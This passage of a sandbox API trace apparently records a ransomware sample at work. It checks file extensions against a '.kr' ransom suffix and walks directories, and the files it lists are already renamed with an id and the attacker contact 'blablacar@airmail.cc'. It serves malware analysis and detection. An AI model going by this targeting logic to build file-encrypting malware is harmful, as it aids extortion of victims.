[0175.041] lstrcmpiW (lpString1=".odm", lpString2="].kr") returned -1 [0175.041] lstrlenW (lpString=".odp") returned 4 [0175.041] lstrcmpiW (lpString1=".odp", lpString2="].kr") returned -1 [0175.041] lstrlenW (lpString=".ods") returned 4 [0175.041] lstrcmpiW (lpString1=".ods", lpString2="].kr") returned -1 [0175.041] lstrlenW (lpString=".oft") returned 4 [0175.041] lstrcmpiW (lpString1=".oft", lpString2="].kr") returned -1 [0175.041] lstrlenW (lpString=".one") returned 4 [0175.041] lstrcmpiW (lpString1=".one", lpString2="].kr") returned -1 [0175.041] lstrlenW (lpString=".onepkg") returned 7 [0175.041] lstrcmpiW (lpString1=".onepkg", lpString2=".cc].kr") returned 1 [0175.041] lstrlenW (lpString=".onetoc2") returned 8 [0175.041] lstrcmpiW (lpString1=".onetoc2", lpString2="l.cc].kr") returned -1 [0175.041] lstrlenW (lpString=".opt") returned 4 [0175.041] lstrcmpiW (lpString1=".opt", lpString2="].kr") returned -1 [0175.041] lstrlenW (lpString=".oqy") returned 4 [0175.041] lstrcmpiW (lpString1=".oqy", lpString2="].kr") returned -1 [0175.041] lstrlenW (lpString=".orf") returned 4 [0175.041] lstrcmpiW (lpString1=".orf", lpString2="].kr") returned -1 [0175.041] lstrlenW (lpString=".p12") returned 4 [0175.041] lstrcmpiW (lpString1=".p12", lpString2="].kr") returned -1 [0175.041] lstrlenW (lpString=".p7b") returned 4 [0175.041] lstrcmpiW (lpString1=".p7b", lpString2="].kr") returned -1 [0175.041] lstrlenW (lpString=".p7c") returned 4 [0175.041] lstrcmpiW (lpString1=".p7c", lpString2="].kr") returned -1 [0175.041] lstrlenW (lpString=".pam") returned 4 [0175.041] lstrcmpiW (lpString1=".pam", lpString2="].kr") returned -1 [0175.041] lstrlenW (lpString=".pbm") returned 4 [0175.041] lstrcmpiW (lpString1=".pbm", lpString2="].kr") returned -1 [0175.042] lstrlenW (lpString=".pct") returned 4 [0175.042] lstrcmpiW (lpString1=".pct", lpString2="].kr") returned -1 [0175.042] lstrlenW (lpString=".pcx") returned 4 [0175.042] lstrcmpiW (lpString1=".pcx", lpString2="].kr") returned -1 [0175.042] lstrlenW (lpString=".pdd") returned 4 [0175.042] lstrcmpiW (lpString1=".pdd", lpString2="].kr") returned -1 [0175.042] lstrlenW (lpString=".pdf") returned 4 [0175.042] lstrcmpiW (lpString1=".pdf", lpString2="].kr") returned -1 [0175.042] lstrlenW (lpString=".pdp") returned 4 [0175.042] lstrcmpiW (lpString1=".pdp", lpString2="].kr") returned -1 [0175.042] lstrlenW (lpString=".pef") returned 4 [0175.042] lstrcmpiW (lpString1=".pef", lpString2="].kr") returned -1 [0175.042] lstrlenW (lpString=".pem") returned 4 [0175.042] lstrcmpiW (lpString1=".pem", lpString2="].kr") returned -1 [0175.042] lstrlenW (lpString=".pff") returned 4 [0175.042] lstrcmpiW (lpString1=".pff", lpString2="].kr") returned -1 [0175.042] lstrlenW (lpString=".pfm") returned 4 [0175.042] lstrcmpiW (lpString1=".pfm", lpString2="].kr") returned -1 [0175.042] lstrlenW (lpString=".pfx") returned 4 [0175.042] lstrcmpiW (lpString1=".pfx", lpString2="].kr") returned -1 [0175.042] lstrlenW (lpString=".pgm") returned 4 [0175.042] lstrcmpiW (lpString1=".pgm", lpString2="].kr") returned -1 [0175.042] lstrlenW (lpString=".php") returned 4 [0175.042] lstrcmpiW (lpString1=".php", lpString2="].kr") returned -1 [0175.042] lstrlenW (lpString=".php3") returned 5 [0175.042] lstrcmpiW (lpString1=".php3", lpString2="c].kr") returned -1 [0175.042] lstrlenW (lpString=".php4") returned 5 [0175.042] lstrcmpiW (lpString1=".php4", lpString2="c].kr") returned -1 [0175.042] lstrlenW (lpString=".php5") returned 5 [0175.042] lstrcmpiW (lpString1=".php5", lpString2="c].kr") returned -1 [0175.042] lstrlenW (lpString=".phtml") returned 6 [0175.042] lstrcmpiW (lpString1=".phtml", lpString2="cc].kr") returned -1 [0175.042] lstrlenW (lpString=".pict") returned 5 [0175.043] lstrcmpiW (lpString1=".pict", lpString2="c].kr") returned -1 [0175.043] lstrlenW (lpString=".pl") returned 3 [0175.043] lstrcmpiW (lpString1=".pl", lpString2=".kr") returned 1 [0175.043] lstrlenW (lpString=".pls") returned 4 [0175.043] lstrcmpiW (lpString1=".pls", lpString2="].kr") returned -1 [0175.043] lstrlenW (lpString=".pm") returned 3 [0175.043] lstrcmpiW (lpString1=".pm", lpString2=".kr") returned 1 [0175.043] lstrlenW (lpString=".png") returned 4 [0175.043] lstrcmpiW (lpString1=".png", lpString2="].kr") returned -1 [0175.043] lstrlenW (lpString=".pnm") returned 4 [0175.043] lstrcmpiW (lpString1=".pnm", lpString2="].kr") returned -1 [0175.043] lstrlenW (lpString=".pot") returned 4 [0175.043] lstrcmpiW (lpString1=".pot", lpString2="].kr") returned -1 [0175.043] lstrlenW (lpString=".potm") returned 5 [0175.043] lstrcmpiW (lpString1=".potm", lpString2="c].kr") returned -1 [0175.043] lstrlenW (lpString=".potx") returned 5 [0175.043] lstrcmpiW (lpString1=".potx", lpString2="c].kr") returned -1 [0175.043] lstrlenW (lpString=".ppa") returned 4 [0175.043] lstrcmpiW (lpString1=".ppa", lpString2="].kr") returned -1 [0175.043] lstrlenW (lpString=".ppam") returned 5 [0175.043] lstrcmpiW (lpString1=".ppam", lpString2="c].kr") returned -1 [0175.043] lstrlenW (lpString=".ppm") returned 4 [0175.043] lstrcmpiW (lpString1=".ppm", lpString2="].kr") returned -1 [0175.043] lstrlenW (lpString=".pps") returned 4 [0175.043] lstrcmpiW (lpString1=".pps", lpString2="].kr") returned -1 [0175.043] lstrlenW (lpString=".ppsm") returned 5 [0175.043] lstrcmpiW (lpString1=".ppsm", lpString2="c].kr") returned -1 [0175.043] lstrlenW (lpString=".ppt") returned 4 [0175.043] lstrcmpiW (lpString1=".ppt", lpString2="].kr") returned -1 [0175.043] lstrlenW (lpString=".pptm") returned 5 [0175.043] lstrcmpiW (lpString1=".pptm", lpString2="c].kr") returned -1 [0175.043] lstrlenW (lpString=".pptx") returned 5 [0175.043] lstrcmpiW (lpString1=".pptx", lpString2="c].kr") returned -1 [0175.043] lstrlenW (lpString=".prn") returned 4 [0175.043] lstrcmpiW (lpString1=".prn", lpString2="].kr") returned -1 [0175.044] lstrlenW (lpString=".ps") returned 3 [0175.044] lstrcmpiW (lpString1=".ps", lpString2=".kr") returned 1 [0175.044] lstrlenW (lpString=".psb") returned 4 [0175.044] lstrcmpiW (lpString1=".psb", lpString2="].kr") returned -1 [0175.044] lstrlenW (lpString=".psd") returned 4 [0175.044] lstrcmpiW (lpString1=".psd", lpString2="].kr") returned -1 [0175.044] lstrlenW (lpString=".pst") returned 4 [0175.044] lstrcmpiW (lpString1=".pst", lpString2="].kr") returned -1 [0175.044] lstrlenW (lpString=".ptx") returned 4 [0175.044] lstrcmpiW (lpString1=".ptx", lpString2="].kr") returned -1 [0175.044] lstrlenW (lpString=".pub") returned 4 [0175.044] lstrcmpiW (lpString1=".pub", lpString2="].kr") returned -1 [0175.044] lstrlenW (lpString=".pwm") returned 4 [0175.044] lstrcmpiW (lpString1=".pwm", lpString2="].kr") returned -1 [0175.044] lstrlenW (lpString=".pxr") returned 4 [0175.044] lstrcmpiW (lpString1=".pxr", lpString2="].kr") returned -1 [0175.044] lstrlenW (lpString=".py") returned 3 [0175.044] lstrcmpiW (lpString1=".py", lpString2=".kr") returned 1 [0175.044] lstrlenW (lpString=".qt") returned 3 [0175.044] lstrcmpiW (lpString1=".qt", lpString2=".kr") returned 1 [0175.044] lstrlenW (lpString=".r3d") returned 4 [0175.044] lstrcmpiW (lpString1=".r3d", lpString2="].kr") returned -1 [0175.044] lstrlenW (lpString=".raf") returned 4 [0175.044] lstrcmpiW (lpString1=".raf", lpString2="].kr") returned -1 [0175.044] lstrlenW (lpString=".rar") returned 4 [0175.044] lstrcmpiW (lpString1=".rar", lpString2="].kr") returned -1 [0175.044] lstrlenW (lpString=".raw") returned 4 [0175.044] lstrcmpiW (lpString1=".raw", lpString2="].kr") returned -1 [0175.044] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc2b937ae, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc2b937ae, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc2b937ae, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="DESKTO~1.KR")) returned 0 [0175.044] FindClose (in: hFindFile=0x43a3c0 | out: hFindFile=0x43a3c0) returned 1 [0175.045] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.045] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf2b78545, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xf2b78545, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0175.045] FindClose (in: hFindFile=0x43a380 | out: hFindFile=0x43a380) returned 1 [0175.045] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0175.045] FindNextFileW (in: hFindFile=0x43a340, lpFindFileData=0x3b3fcf8 | out: lpFindFileData=0x3b3fcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77580000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0175.045] FindNextFileW (in: hFindFile=0x43a340, lpFindFileData=0x3b3fcf8 | out: lpFindFileData=0x3b3fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xcc2a9d29, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xcc2a9d29, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77580000, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1 [0175.045] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4400060 [0175.045] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xcc2a9d29, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xcc2a9d29, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x43a380 [0175.045] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xcc2a9d29, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xcc2a9d29, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0175.045] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc2df5c2f, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc2df5c2f, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1025", cAlternateFileName="")) returned 1 [0175.046] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4410068 [0175.046] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc2df5c2f, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc2df5c2f, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x43a640 [0175.046] FindNextFileW (in: hFindFile=0x43a640, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc2df5c2f, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc2df5c2f, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.046] FindNextFileW (in: hFindFile=0x43a640, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc2b937ae, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc2b937ae, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc2bb9891, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x1e74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0175.046] FindNextFileW (in: hFindFile=0x43a640, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc2dcf9c0, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc2dcf9c0, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc2df5c2f, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x122e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0175.047] FindNextFileW (in: hFindFile=0x43a640, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc57166e9, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc57166e9, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc57166e9, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0175.047] FindNextFileW (in: hFindFile=0x43a640, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc57166e9, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc57166e9, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc57166e9, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0175.047] FindClose (in: hFindFile=0x43a640 | out: hFindFile=0x43a640) returned 1 [0175.048] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.048] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc3f3f362, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc3f3f362, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1028", cAlternateFileName="")) returned 1 [0175.048] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4410068 [0175.048] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc3f3f362, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc3f3f362, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x43a3c0 [0175.048] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc3f3f362, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc3f3f362, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.048] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc2df5c2f, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc2df5c2f, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc2df5c2f, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0175.049] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc3f3f362, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc3f3f362, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc3f3f362, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0175.049] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc573c973, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc573c973, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc573c973, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0175.049] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc573c973, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc573c973, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc573c973, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0175.049] FindClose (in: hFindFile=0x43a3c0 | out: hFindFile=0x43a3c0) returned 1 [0175.050] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.050] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc41349b2, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc41349b2, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1029", cAlternateFileName="")) returned 1 [0175.050] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4410068 [0175.050] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc41349b2, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc41349b2, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x43a640 [0175.051] FindNextFileW (in: hFindFile=0x43a640, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc41349b2, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc41349b2, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.051] FindNextFileW (in: hFindFile=0x43a640, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc3e33e85, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc3e33e85, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc3e33e85, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xf74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0175.051] FindNextFileW (in: hFindFile=0x43a640, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc3e59f4a, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc3e59f4a, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc3e59f4a, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x13d46, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0175.051] FindNextFileW (in: hFindFile=0x43a640, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc587d738, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc587d738, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc587d738, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0175.051] FindNextFileW (in: hFindFile=0x43a640, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc587d738, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc587d738, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc587d738, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0175.051] FindClose (in: hFindFile=0x43a640 | out: hFindFile=0x43a640) returned 1 [0175.052] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.052] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc4809acc, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc4809acc, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1030", cAlternateFileName="")) returned 1 [0175.052] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4410068 [0175.052] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc4809acc, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc4809acc, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x43a3c0 [0175.053] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc4809acc, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc4809acc, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.053] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, 